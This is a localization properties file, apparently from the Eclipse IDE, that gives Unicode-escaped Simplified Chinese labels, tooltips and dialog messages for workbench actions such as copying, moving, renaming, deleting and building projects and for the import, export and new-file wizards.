+Workbench_help=\u5e2e\u52a9(&H) +QuickStart_text=\u6b22\u8fce(&W)... +QuickStart_toolTip=\u6253\u5f00\u6b22\u8fce\u4f7f\u7528\u7f16\u8f91\u5668 +QuickStartMessageDialog_title=\u6b22\u8fce +QuickStartMessageDialog_message=\u672a\u63d0\u4f9b\u5e26\u6709\u5feb\u901f\u542f\u52a8\u4fe1\u606f\u7684\u529f\u80fd\u90e8\u4ef6 +WelcomePageSelectionDialog_title=\u6b22\u8fce +WelcomePageSelectionDialog_message=\u663e\u793a\u6b22\u8fce\u9875\u9762(&S)\uff1a +TipsAndTricks_text=\u63d0\u793a\u548c\u6280\u5de7(&T)... +TipsAndTricks_toolTip=\u63d0\u793a\u548c\u6280\u5de7 +TipsAndTricksMessageDialog_title=\u63d0\u793a\u548c\u6280\u5de7 +TipsAndTricksMessageDialog_message=\u672a\u63d0\u4f9b\u5e26\u6709\u63d0\u793a\u548c\u6280\u5de7\u4fe1\u606f\u7684\u529f\u80fd\u90e8\u4ef6 +TipsAndTricksPageSelectionDialog_title=\u63d0\u793a\u548c\u6280\u5de7 +TipsAndTricksPageSelectionDialog_message=\u663e\u793a\u4ee5\u4e0b\u5185\u5bb9\u7684\u63d0\u793a\u548c\u6280\u5de7\u9875\u9762(&S)\uff1a +TipsAndTricksErrorDialog_title=\u95ee\u9898 +TipsAndTricksErrorDialog_noHref=\u672a\u63d0\u4f9b\u63d0\u793a\u548c\u6280\u5de7\u4fe1\u606f +TipsAndTricksErrorDialog_noFeatures=\u672a\u63d0\u4f9b\u5e26\u6709\u63d0\u793a\u548c\u6280\u5de7\u4fe1\u606f\u7684\u529f\u80fd\u90e8\u4ef6 +OpenWithMenu_dialogTitle=\u6253\u5f00\u7f16\u8f91\u5668\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +OpenWithMenu_Other=\u5176\u4ed6... +OpenWithMenu_OtherDialogDescription=\u9009\u62e9\u7528\u4e8e\u6253\u5f00 {0} \u7684\u7f16\u8f91\u5668\uff1a +CopyProjectAction_title=\u590d\u5236(&C) +CopyProjectAction_confirm=\u786e\u8ba4\u590d\u5236 +CopyProjectAction_warning=\u590d\u5236\u9879\u76ee {0} \u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +CopyProjectAction_toolTip=\u590d\u5236\u9879\u76ee +CopyProjectAction_copyTitle=\u590d\u5236\u9879\u76ee +CopyProjectAction_copyNameOneArg={0} \u7684\u526f\u672c +CopyProjectAction_copyNameTwoArgs=\u590d\u5236\uff08{0}\uff09\u90e8\u5206\uff0c\u5171 {1} \u90e8\u5206 +CopyProjectAction_alreadyExists=\u9879\u76ee\u201c{0}\u201d\u5df2\u5b58\u5728\u3002 +CopyProjectAction_copyFailedTitle=\u590d\u5236\u95ee\u9898 +CopyProjectAction_internalError=\u5185\u90e8\u9519\u8bef\uff1a{0} +CopyResourceAction_title=\u590d\u5236(&C) +CopyResourceAction_toolTip=\u590d\u5236\u8d44\u6e90 +CopyResourceAction_selectDestination=\u9009\u62e9\u76ee\u6807(&D)\uff1a +MoveProjectAction_text=\u79fb\u52a8(&V)... +MoveProjectAction_toolTip=\u79fb\u52a8\u9879\u76ee +MoveProjectAction_moveTitle=\u79fb\u52a8\u9879\u76ee +MoveProjectAction_dialogTitle=\u79fb\u52a8\u95ee\u9898 +MoveProjectAction_internalError=\u5185\u90e8\u9519\u8bef\uff1a{0} +MoveResourceAction_text=\u79fb\u52a8(&V)... +MoveResourceAction_toolTip=\u79fb\u52a8\u8d44\u6e90 +MoveResourceAction_title=\u68c0\u67e5\u79fb\u52a8 +MoveResourceAction_checkMoveMessage=\u201c{0}\u201d\u662f\u53ea\u8bfb\u7684\u3002\u60a8\u4ecd\u7136\u60f3\u79fb\u52a8\u5b83\u5417\uff1f +ReadOnlyCheck_problems=\u53ea\u8bfb\u68c0\u67e5\u95ee\u9898 +RenameResourceAction_text=\u91cd\u547d\u540d(&M)... +RenameResourceAction_confirm=\u786e\u8ba4\u91cd\u547d\u540d +RenameResourceAction_warning=\u5c06 {0} \u91cd\u547d\u540d\u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +RenameResourceAction_toolTip=\u91cd\u547d\u540d\u8d44\u6e90 +RenameResourceAction_operationTitle=\u91cd\u547d\u540d\u8d44\u6e90 +RenameResourceAction_inputDialogTitle=\u91cd\u547d\u540d\u8d44\u6e90 +RenameResourceAction_inputDialogMessage=\u8f93\u5165\u65b0\u7684\u8d44\u6e90\u540d\u79f0\uff1a +RenameResourceAction_checkTitle=\u9009\u62e9\u201c\u91cd\u547d\u540d\u201d +RenameResourceAction_readOnlyCheck=\u201c{0}\u201d\u662f\u53ea\u8bfb\u7684\u3002\u4ecd\u7136\u60f3\u8981\u91cd\u547d\u540d\u5b83\u5417\uff1f +RenameResourceAction_resourceExists=\u8d44\u6e90\u5df2\u5b58\u5728 +RenameResourceAction_projectExists=\u9879\u76ee\u5df2\u5b58\u5728 +RenameResourceAction_nameExists=\u5177\u6709\u8be5\u540d\u79f0\u7684\u8d44\u6e90\u5df2\u5b58\u5728\u3002 +RenameResourceAction_overwriteQuestion=\u201c{0}\u201d\u5df2\u7ecf\u5b58\u5728\u3002\u8981\u8986\u76d6\u5417\uff1f +RenameResourceAction_overwriteProjectQuestion=\u201c{0}\u201d\u5df2\u7ecf\u5b58\u5728\u3002\u5982\u679c\u9009\u62e9\u8986\u76d6\u201c{0}\u201d\uff0c\u5219\u5373\u4f7f\u64a4\u9500\u6b64\u64cd\u4f5c\uff0c\u4e5f\u4e0d\u80fd\u590d\u539f\u5176\u539f\u59cb\u5185\u5bb9\u3002\u8981\u8986\u76d6\u8be5\u9879\u76ee\u5417\uff1f +RenameResourceAction_problemTitle=\u91cd\u547d\u540d\u95ee\u9898 +RenameResourceAction_progress=\u91cd\u547d\u540d\uff1a +RenameResourceAction_nameMustBeDifferent=\u5fc5\u987b\u4f7f\u7528\u53e6\u4e00\u4e2a\u540d\u79f0 +RenameResourceAction_problemMessage=\u91cd\u547d\u540d\u9009\u62e9\u7684\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +DeleteResourceAction_text=\u5220\u9664(&D) +DeleteResourceAction_confirm=\u786e\u8ba4\u5220\u9664 +DeleteResourceAction_warning=\u5220\u9664\u8fd9\u4e9b\u8d44\u6e90\u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +DeleteResourceAction_toolTip=\u5220\u9664 +DeleteResourceAction_title1=\u786e\u8ba4\u8d44\u6e90\u5220\u9664 +DeleteResourceAction_titleN=\u786e\u8ba4\u591a\u4e2a\u8d44\u6e90\u5220\u9664 +DeleteResourceAction_confirm1=\u786e\u5b9e\u60f3\u8981\u4ece\u6587\u4ef6\u7cfb\u7edf\u4e2d\u5220\u9664\u201c{0}\u201d\u5417\uff1f +DeleteResourceAction_confirmN=\u786e\u5b9e\u60f3\u8981\u4ece\u6587\u4ef6\u7cfb\u7edf\u4e2d\u5220\u9664 {0} \u8d44\u6e90\u5417\uff1f +DeleteResourceAction_titleProject1=\u786e\u8ba4\u9879\u76ee\u5220\u9664 +DeleteResourceAction_titleProjectN=\u786e\u8ba4\u591a\u4e2a\u9879\u76ee\u5220\u9664 +DeleteResourceAction_confirmProject1=\u786e\u5b9e\u60f3\u8981\u5220\u9664\u9879\u76ee\u201c{0}\u201d\u5417\uff1f +DeleteResourceAction_confirmProjectN=\u786e\u5b9e\u60f3\u8981\u5220\u9664\u8fd9 {0} \u4e2a\u9879\u76ee\u5417\uff1f +DeleteResourceAction_deleteContentsN=\u540c\u65f6\u5220\u9664\u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684\u5185\u5bb9 +DeleteResourceAction_doNotDeleteContents=\u4e0d\u5220\u9664\u5185\u5bb9(&D) +DeleteResourceAction_confirmLinkedResource1=\u786e\u5b9e\u60f3\u8981\u5220\u9664\u94fe\u63a5\u7684\u8d44\u6e90\u201c{0}\u201d\u5417\uff1f\n\u53ea\u6709\u5de5\u4f5c\u7a7a\u95f4\u94fe\u63a5\u5c06\u88ab\u5220\u9664\u3002\u94fe\u63a5\u76ee\u6807\u5c06\u4fdd\u6301\u4e0d\u53d8\u3002 +DeleteResourceAction_confirmLinkedResourceN=\u786e\u5b9e\u60f3\u8981\u5220\u9664\u8fd9\u4e9b {0} \u8d44\u6e90\u5417\uff1f\n\n\u9009\u62e9\u4e2d\u5305\u542b\u4e86\u94fe\u63a5\u7684\u8d44\u6e90\u3002\n\u53ea\u6709\u5de5\u4f5c\u7a7a\u95f4\u94fe\u63a5\u5c06\u88ab\u5220\u9664\u3002\u94fe\u63a5\u76ee\u6807\u5c06\u4fdd\u7559\u4e0d\u53d8\u3002 +DeleteResourceAction_readOnlyQuestion=\u201c{0}\u201d\u662f\u53ea\u8bfb\u7684\u3002\u4ecd\u7136\u5e0c\u671b\u5c06\u5b83\u5220\u9664\u5417\uff1f +DeleteResourceAction_checkJobName=\u6b63\u5728\u68c0\u67e5\u8d44\u6e90 +DeleteResourceAction_jobName=\u6b63\u5728\u5220\u9664\u8d44\u6e90 +DeleteResourceAction_operationLabel=\u5220\u9664\u8d44\u6e90 +AddBookmarkLabel=\u6dfb\u52a0\u4e66\u7b7e(&K)... +AddBookmarkToolTip=\u6dfb\u52a0\u4e66\u7b7e +AddBookmarkDialog_title=\u6dfb\u52a0\u4e66\u7b7e +AddBookmarkDialog_message=\u8f93\u5165\u4e66\u7b7e\u540d\u79f0\uff1a +AddTaskLabel=\u6dfb\u52a0\u4efb\u52a1(&T) +AddTaskToolTip=\u6dfb\u52a0\u4efb\u52a1 +OpenFileAction_text=\u6253\u5f00(&O) +OpenFileAction_toolTip=\u7f16\u8f91\u6587\u4ef6 +OpenFileAction_openFileShellTitle=\u6253\u5f00\u7f16\u8f91\u5668\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +OpenLocalFileAction_title=\u6253\u5f00\u6587\u4ef6 +OpenLocalFileAction_message_fileNotFound=\u627e\u4e0d\u5230\u6587\u4ef6\u201c{0}\u201d\u3002 +OpenLocalFileAction_message_filesNotFound=\u627e\u4e0d\u5230\u4e0b\u5217\u6587\u4ef6\uff1a\n{0} +OpenLocalFileAction_title_selectWorkspaceFile=\u9009\u62e9\u5de5\u4f5c\u533a\u6587\u4ef6 +OpenLocalFileAction_message_fileLinkedToMultiple=\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u7684\u591a\u4e2a\u94fe\u63a5\u7684\u8d44\u6e90\u5f15\u7528\u4e86\u6240\u9009\u6587\u4ef6\u3002\n\u9009\u62e9\u5de5\u4f5c\u7a7a\u95f4\u8d44\u6e90\u4ee5\u6253\u5f00\u6587\u4ef6\u3002 +OpenLocalFileAction_message_errorOnOpen=\u672a\u80fd\u6253\u5f00\u6587\u4ef6\u201c{0}\u201d\u3002\n\u8bf7\u53c2\u9605\u65e5\u5fd7\u4ee5\u83b7\u53d6\u8be6\u7ec6\u4fe1\u606f\u3002 +OpenResourceAction_text=\u6253\u5f00\u9879\u76ee(&E) +OpenResourceAction_toolTip=\u6253\u5f00\u9879\u76ee +OpenResourceAction_dialogTitle=\u6253\u5f00\u95ee\u9898 +OpenResourceAction_problemMessage=\u6253\u5f00\u9009\u62e9\u7684\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +OpenResourceAction_operationMessage=\u6b63\u5728\u6253\u5f00\u9879\u76ee... +OpenResourceAction_openRequiredProjects=\u662f\u5426\u8fd8\u5e94\u8be5\u5728\u9002\u5f53\u7684\u65f6\u5019\u6253\u5f00\u6240\u5f15\u7528\u7684\u9879\u76ee\uff1f +CloseResourceAction_text=\u5173\u95ed\u9879\u76ee(&S) +CloseResourceAction_warningForOne=\u5173\u95ed\u9879\u76ee {0} \u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +CloseResourceAction_warningForMultiple=\u5173\u95ed\u8fd9\u4e9b\u9879\u76ee\u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +CloseResourceAction_confirm=\u786e\u8ba4\u5173\u95ed +CloseResourceAction_toolTip=\u5173\u95ed\u9879\u76ee +CloseResourceAction_title=\u5173\u95ed\u95ee\u9898 +CloseResourceAction_problemMessage=\u5173\u95ed\u9009\u62e9\u7684\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +CloseResourceAction_operationMessage=\u6b63\u5728\u5173\u95ed\u9879\u76ee... +CloseUnrelatedProjectsAction_text=\u5173\u95ed\u4e0d\u76f8\u5173\u7684\u9879\u76ee(&U) +CloseUnrelatedProjectsAction_toolTip=\u5173\u95ed\u4e0d\u76f8\u5173\u7684\u9879\u76ee +CloseUnrelatedProjectsAction_AlwaysClose=\u5173\u95ed\u65f6\u4e0d\u518d\u63d0\u793a +CloseUnrelatedProjectsAction_AlwaysCloseWithoutPrompt=\u5173\u95ed\u4e0d\u76f8\u5173\u5de5\u7a0b\u65f6\u4e0d\u518d\u63d0\u793a +BuildAction_text=\u6784\u5efa\u9879\u76ee(&B) +BuildAction_toolTip=\u9009\u62e9\u7684\u9879\u76ee\u7684\u589e\u91cf\u5f0f\u6784\u5efa +BuildAction_problemMessage=\u6784\u5efa\u9009\u62e9\u7684\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +BuildAction_problemTitle=\u6784\u5efa\u95ee\u9898 +BuildAction_operationMessage=\u6b63\u5728\u6784\u5efa\u9879\u76ee... +RebuildAction_text=\u91cd\u5efa\u9879\u76ee(&J) +RebuildAction_tooltip=\u9009\u62e9\u7684\u9879\u76ee\u7684\u5b8c\u5168\u6784\u5efa +RecentWorkspacesPreferencePage_NumberOfWorkspaces_label=\u8981\u8bb0\u4f4f\u7684\u6700\u8fd1\u7684\u5de5\u4f5c\u7a7a\u95f4\u7684\u6570\u76ee(N) +RecentWorkspacesPreferencePage_PromptAtStartup_label=\u542f\u52a8\u65f6\u63d0\u793a\u5de5\u4f5c\u7a7a\u95f4(&W) +RecentWorkspacesPreferencePage_RecentWorkspacesList_label=\u6700\u8fd1\u7684\u5de5\u4f5c\u7a7a\u95f4 +RecentWorkspacesPreferencePage_RemoveButton_label=\u79fb\u9664(&R) +RefreshAction_text=\u5237\u65b0(&F) +RefreshAction_toolTip=\u5237\u65b0 +RefreshAction_progressMessage=\u6b63\u5728\u5237\u65b0... +RefreshAction_problemTitle=\u5237\u65b0\u95ee\u9898 +RefreshAction_problemMessage=\u5237\u65b0\u9009\u62e9\u7684\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +RefreshAction_locationDeletedMessage=\u5df2\u5220\u9664\u9879\u76ee\u201c{0}\u201d\u7684\u4f4d\u7f6e\uff08{1}\uff09\u3002\n\u8981\u4ece\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u5220\u9664\u201c{0}\u201d\u5417\uff1f +RefreshAction_dialogTitle=\u5df2\u5220\u9664\u9879\u76ee\u4f4d\u7f6e +SelectWorkingSetAction_text=\u9009\u62e9\u5de5\u4f5c\u96c6(&W)... +CopyProjectOperation_progressTitle=\u6b63\u5728\u590d\u5236\uff1a +CopyProjectOperation_copyFailedMessage=\u590d\u5236\u9879\u76ee\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +CopyProjectOperation_copyFailedTitle=\u590d\u5236\u95ee\u9898 +CopyProjectOperation_internalError=\u5185\u90e8\u9519\u8bef\uff1a{0} +CopyProjectOperation_copyProject=\u590d\u5236\u9879\u76ee +CopyFilesAndFoldersOperation_copyFailedTitle=\u590d\u5236\u95ee\u9898 +CopyFilesAndFoldersOperation_problemMessage=\u590d\u5236\u9009\u62e9\u7684\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +CopyFilesAndFoldersOperation_operationTitle=\u6b63\u5728\u590d\u5236... +CopyFilesAndFoldersOperation_nameCollision=\u68c0\u6d4b\u5230\u8d44\u6e90\u540d\u79f0\u51b2\u7a81\u3002 +CopyFilesAndFoldersOperation_internalError=\u5185\u90e8\u9519\u8bef\uff1a{0} +CopyFilesAndFoldersOperation_resourceExists=\u8d44\u6e90\u5df2\u5b58\u5728 +CopyFilesAndFoldersOperation_overwriteQuestion={0} \u5df2\u5b58\u5728\u3002\u8981\u8986\u76d6\u5417\uff1f +CopyFilesAndFoldersOperation_overwriteWithDetailsQuestion=\u8d44\u6e90\u5df2\u5b58\u5728\u3002\u8981\u8986\u76d6\u5417\uff1f\n\n\u5c06\uff1a{0}\n\u4e0a\u6b21\u4fee\u6539\u65f6\u95f4\uff1a{1}\n\n\u8986\u76d6\u4e3a\uff1a{2}\n\u4e0a\u6b21\u4fee\u6539\u65f6\u95f4\uff1a{3} +CopyFilesAndFoldersOperation_overwriteMergeQuestion=\u201c{0}\u201d\u5df2\u7ecf\u5b58\u5728\u3002\u8981\u8986\u76d6\u5417\uff1f\n\u5c06\u5408\u5e76\u6587\u4ef6\u5939\u5185\u5bb9\uff0c\u73b0\u6709\u6587\u4ef6\u5c06\u88ab\u8986\u76d6\u3002 +CopyFilesAndFoldersOperation_overwriteNoMergeLinkQuestion=\u201c{0}\u201d\u5b58\u5728\uff0c\u5b83\u662f\u94fe\u63a5\u7684\u6587\u4ef6\u5939\u3002\u60f3\u8981\u5220\u9664\u94fe\u63a5\u7684\u6587\u4ef6\u5939\u5e76\u66ff\u6362\u4e3a\u89e3\u94fe\u7684\u6587\u4ef6\u5939\u5417\uff1f\n\u5c06\u4e0d\u5408\u5e76\u6587\u4ef6\u5939\u5185\u5bb9\uff01 +CopyFilesAndFoldersOperation_overwriteNoMergeNoLinkQuestion=\u201c{0}\u201d\u5b58\u5728\uff0c\u5b83\u4e0d\u662f\u94fe\u63a5\u7684\u6587\u4ef6\u5939\u3002\u60f3\u8981\u5220\u9664\u8be5\u6587\u4ef6\u5939\u5e76\u66ff\u6362\u4e3a\u94fe\u63a5\u7684\u6587\u4ef6\u5939\u5417\uff1f\n\u5c06\u4e0d\u5408\u5e76\u6587\u4ef6\u5939\u5185\u5bb9\uff01 +CopyFilesAndFoldersOperation_deepCopyQuestion=\u60f3\u8981\u5bf9\u94fe\u63a5\u7684\u8d44\u6e90\u201c{0}\u201d\u6267\u884c\u6df1\u5ea6\u590d\u5236\u5417\uff1f +CopyFilesAndFoldersOperation_deepMoveQuestion=\u60f3\u8981\u5bf9\u94fe\u63a5\u7684\u8d44\u6e90\u201c{0}\u201d\u6267\u884c\u6df1\u5ea6\u79fb\u52a8\u5417\uff1f +CopyFilesAndFoldersOperation_copyNameTwoArgs=\u590d\u5236\uff08{0}\uff09\u90e8\u5206\uff0c\u5171 {1} \u90e8\u5206 +CopyFilesAndFoldersOperation_copyNameOneArg={0} \u7684\u526f\u672c +CopyFilesAndFoldersOperation_destinationAccessError=\u76ee\u6807\u6587\u4ef6\u5939\u5fc5\u987b\u662f\u53ef\u8bbf\u95ee\u7684\u3002 +CopyFilesAndFoldersOperation_destinationDescendentError=\u76ee\u6807\u4e0d\u80fd\u662f\u6e90\u7684\u540e\u4ee3\u3002 +CopyFilesAndFoldersOperation_overwriteProblem=\u6587\u4ef6\u5939\u201c{0}\u201d\u5df2\u5b58\u5728\uff0c\u4e0d\u80fd\u8986\u76d6\u5b83\uff0c\u539f\u56e0\u662f\u5b83\u5305\u542b\u201c{1}\u201d\u3002 +CopyFilesAndFoldersOperation_question=\u95ee\u9898 +CopyFilesAndFoldersOperation_confirmMove=\u786e\u8ba4\u79fb\u52a8 +CopyFilesAndFoldersOperation_warningMove=\u79fb\u52a8\u8fd9\u4e9b\u8d44\u6e90\u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +CopyFilesAndFoldersOperation_confirmCopy=\u786e\u8ba4\u590d\u5236 +CopyFilesAndFoldersOperation_warningCopy=\u590d\u5236\u8fd9\u4e9b\u8d44\u6e90\u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +CopyFilesAndFoldersOperation_inputDialogTitle=\u540d\u79f0\u51b2\u7a81 +CopyFilesAndFoldersOperation_inputDialogMessage=\u5bf9\u201c{0}\u201d\u8f93\u5165\u65b0\u540d\u79f0 +CopyFilesAndFoldersOperation_nameExists=\u5177\u6709\u8be5\u540d\u79f0\u7684\u8d44\u6e90\u5df2\u5b58\u5728\u3002 +CopyFilesAndFoldersOperation_nameMustBeDifferent=\u5fc5\u987b\u4f7f\u7528\u53e6\u4e00\u4e2a\u540d\u79f0 +CopyFilesAndFoldersOperation_sameSourceAndDest=\u4e0d\u80fd\u590d\u5236\u201c{0}\u201d\u3002\u6e90\u548c\u76ee\u6807\u662f\u76f8\u540c\u7684\u3002 +CopyFilesAndFoldersOperation_importSameSourceAndDest=\u4e0d\u80fd\u5bfc\u5165\u201c{0}\u201d\u3002\u6e90\u548c\u76ee\u6807\u662f\u76f8\u540c\u7684\u3002 +CopyFilesAndFoldersOperation_resourceDeleted=\u6587\u4ef6\u7cfb\u7edf\u4e0a\u4e0d\u5b58\u5728\u8d44\u6e90\u201c{0}\u201d\u3002 +CopyFilesAndFoldersOperation_missingPathVariable=\u4f7f\u7528\u7f3a\u5c11\u7684\u8def\u5f84\u53d8\u91cf\u94fe\u63a5\u4e86\u8d44\u6e90\u201c{0}\u201d\u3002 +CopyFilesAndFoldersOperation_missingLinkTarget=\u94fe\u63a5\u7684\u8d44\u6e90\u201c{0}\u201d\u7684\u94fe\u63a5\u76ee\u6807\u4e0d\u5b58\u5728\u3002 +CopyFilesAndFoldersOperation_CopyResourcesTask=\u590d\u5236\u8d44\u6e90 +CopyFilesAndFoldersOperation_parentNotEqual=\u8d44\u6e90\u5fc5\u987b\u5177\u6709\u76f8\u540c\u7684\u7236\u4ee3\u3002 +CopyFilesAndFoldersOperation_infoNotFound=\u672a\u80fd\u8bfb\u53d6\u6709\u5173 {0} \u7684\u4fe1\u606f\u3002\u8bf7\u67e5\u770b .log \u6587\u4ef6\u4ee5\u83b7\u53d6\u8be6\u7ec6\u4fe1\u606f\u3002 +CopyFilesAndFoldersOperation_copyTitle=\u590d\u5236\u8d44\u6e90 +CopyFilesAndFoldersOperation_moveTitle=\u79fb\u52a8\u8d44\u6e90 +MoveFilesAndFoldersOperation_sameSourceAndDest=\u4e0d\u80fd\u79fb\u52a8\u201c{0}\u201d\u3002\u6e90\u548c\u76ee\u6807\u662f\u76f8\u540c\u7684\u3002 +MoveFilesAndFoldersOperation_moveFailedTitle=\u79fb\u52a8\u95ee\u9898 +MoveFilesAndFoldersOperation_problemMessage=\u79fb\u52a8\u6240\u9009\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +MoveFilesAndFoldersOperation_operationTitle=\u6b63\u5728\u79fb\u52a8... +WizardDataTransfer_existsQuestion=\u201c{0}\u201d\u5df2\u5b58\u5728\u3002\u8981\u8986\u76d6\u5417\uff1f +WizardDataTransfer_overwriteNameAndPathQuestion=\u8981\u8986\u76d6\u6587\u4ef6\u5939\u201c{1}\u201d\u4e2d\u7684\u201c{0}\u201d\u5417\uff1f +WizardDataTransfer_exceptionMessage=\u64cd\u4f5c\u671f\u95f4\u53d1\u751f\u4e86\u9519\u8bef\uff1a{0} +WizardTransferPage_selectTypes=\u8fc7\u6ee4\u5668\u7c7b\u578b(&T)... +WizardTransferPage_selectAll=\u5168\u90e8\u9009\u4e2d(&S) +WizardTransferPage_deselectAll=\u5168\u90e8\u4e0d\u9009(&D) +WizardImportPage_specifyProject=\u6307\u5b9a\u9879\u76ee +WizardImportPage_specifyFolder=\u8bf7\u6307\u5b9a\u6587\u4ef6\u5939 +WizardImportPage_folderMustExist=\u6587\u4ef6\u5939\u5fc5\u987b\u53ef\u8bbf\u95ee\u3002 +WizardImportPage_errorDialogTitle=\u5bfc\u5165\u95ee\u9898 +WizardImportPage_folder=\u81f3\u6587\u4ef6\u5939(&L)\uff1a +WizardImportPage_browseLabel=\u6d4f\u89c8... +WizardImportPage_browse2=\u6d4f\u89c8(&W)... +WizardImportPage_selectFolderLabel=\u9009\u62e9\u8981\u5bfc\u5165\u81f3\u7684\u6587\u4ef6\u5939\u3002 +WizardImportPage_selectFolderTitle=\u5bfc\u5165\u5230\u6587\u4ef6\u5939 +WizardImportPage_destinationLabel=\u9009\u62e9\u5bfc\u5165\u8d44\u6e90\u7684\u76ee\u6807\uff1a +WizardImportPage_options=\u9009\u9879 +WizardImportPage_projectNotExist=\u76ee\u6807\u9879\u76ee\u4e0d\u5b58\u5728\u3002 +WizardImportPage_importOnReceiver=\u6e90\u4f4d\u4e8e\u76ee\u6807\u7684\u5c42\u6b21\u7ed3\u6784\u4e2d\u3002 +WizardImportPage_noOpenProjects=\u4e0d\u80fd\u5bfc\u5165\u6ca1\u6709\u4efb\u4f55\u5df2\u6253\u5f00\u9879\u76ee\u7684\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u3002\u8bf7\u5728\u5bfc\u5165\u4e4b\u524d\u521b\u5efa\u9879\u76ee\u3002 +WizardImportPage_undefinedPathVariable=\u76ee\u6807\u6587\u4ef6\u5939\u4f4d\u7f6e\u57fa\u4e8e\u672a\u5b9a\u4e49\u7684\u8def\u5f84\u53d8\u91cf\u3002 +WizardImportPage_containerNotExist=\u76ee\u6807\u6587\u4ef6\u5939\u4e0d\u5b58\u5728\u3002 +WizardExportPage_errorDialogTitle=\u5bfc\u51fa\u95ee\u9898 +WizardExportPage_mustExistMessage=\u8d44\u6e90\u5fc5\u987b\u5b58\u5728\u3002 +WizardExportPage_mustBeAccessibleMessage=\u8d44\u6e90\u5fc5\u987b\u53ef\u8bbf\u95ee\u3002 +WizardExportPage_detailsMessage=\u6240\u6709\u6587\u4ef6\u8d44\u6e90\u90fd\u4e0e\u6b64\u6761\u4ef6\u76f8\u5339\u914d +WizardExportPage_whatLabel=\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u8d44\u6e90(&E)\uff1a +WizardExportPage_whereLabel=\u9009\u62e9\u5bfc\u51fa\u76ee\u6807\uff1a +WizardExportPage_options=\u9009\u9879 +WizardExportPage_selectionDialogMessage=\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u8d44\u6e90\u7c7b\u578b\u3002 +WizardExportPage_resourceTypeDialog=\u9009\u62e9\u8d44\u6e90\u7c7b\u578b +WizardExportPage_folder=\u6587\u4ef6\u5939(&L)\uff1a +WizardExportPage_browse=\u6d4f\u89c8... +WizardExportPage_allTypes=\u6240\u6709\u7c7b\u578b +WizardExportPage_specificTypes=\u7279\u5b9a\u7c7b\u578b\uff1a +WizardExportPage_edit=\u7f16\u8f91... +WizardExportPage_details=\u8be6\u7ec6\u4fe1\u606f... +WizardExportPage_selectResourcesTitle=\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u8d44\u6e90\u3002 +WizardExportPage_oneResourceSelected=\u9009\u62e9\u4e86 1 \u4e2a\u8d44\u6e90 +WizardExportPage_selectResourcesToExport=\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u8d44\u6e90\u3002 +WizardExportPage_internalErrorTitle=\u5185\u90e8\u9519\u8bef +WizardExportPage_resourceCountMessage=\u9009\u62e9\u4e86 {0} \u4e2a\u8d44\u6e90 +NewExample_title=\u65b0\u5efa\u793a\u4f8b +WizardNewProjectCreationPage_projectNameEmpty=\u5fc5\u987b\u6307\u5b9a\u9879\u76ee\u540d +WizardNewProjectCreationPage_projectLocationEmpty=\u5fc5\u987b\u6307\u5b9a\u9879\u76ee\u4f4d\u7f6e\u76ee\u5f55 +WizardNewProjectCreationPage_projectExistsMessage=\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u5df2\u5b58\u5728\u5177\u6709\u8be5\u540d\u79f0\u7684\u9879\u76ee\u3002 +WizardNewProjectCreationPage_nameLabel=\u9879\u76ee\u540d(&P)\uff1a +WizardNewProjectReferences_title=\u5f15\u7528\u7684\u9879\u76ee(&R)\uff1a +WizardNewFolderMainPage_folderName=\u6587\u4ef6\u5939\u540d(&N)\uff1a +WizardNewFolderMainPage_folderLabel=\u6587\u4ef6\u5939 +WizardNewFolderMainPage_description=\u521b\u5efa\u65b0\u6587\u4ef6\u5939\u8d44\u6e90\u3002 +WizardNewFolderCreationPage_progress=\u6b63\u5728\u521b\u5efa +WizardNewFolderCreationPage_errorTitle=\u521b\u5efa\u95ee\u9898 +WizardNewFolderCreationPage_internalErrorTitle=\u521b\u5efa\u95ee\u9898 +WizardNewFolderCreationPage_title=\u65b0\u5efa\u6587\u4ef6\u5939 +WizardNewFolder_internalError=\u5185\u90e8\u9519\u8bef\uff1a{0} +WizardNewFileCreationPage_progress=\u6b63\u5728\u521b\u5efa +WizardNewFileCreationPage_errorTitle=\u521b\u5efa\u95ee\u9898 +WizardNewFileCreationPage_fileLabel=\u6587\u4ef6\u540d(&M)\uff1a +WizardNewFileCreationPage_file=\u6587\u4ef6 +WizardNewFileCreationPage_internalErrorTitle=\u521b\u5efa\u95ee\u9898 +WizardNewFileCreationPage_internalErrorMessage=\u5185\u90e8\u9519\u8bef\uff1a{0} +WizardNewFileCreationPage_title=\u65b0\u5efa\u6587\u4ef6 +WizardNewLinkPage_linkFileButton=\u94fe\u63a5\u81f3\u6587\u4ef6\u7cfb\u7edf\u4e0a\u7684\u6587\u4ef6(&L) +WizardNewLinkPage_linkFolderButton=\u94fe\u63a5\u81f3\u6587\u4ef6\u7cfb\u7edf\u7684\u6587\u4ef6\u5939(&L) 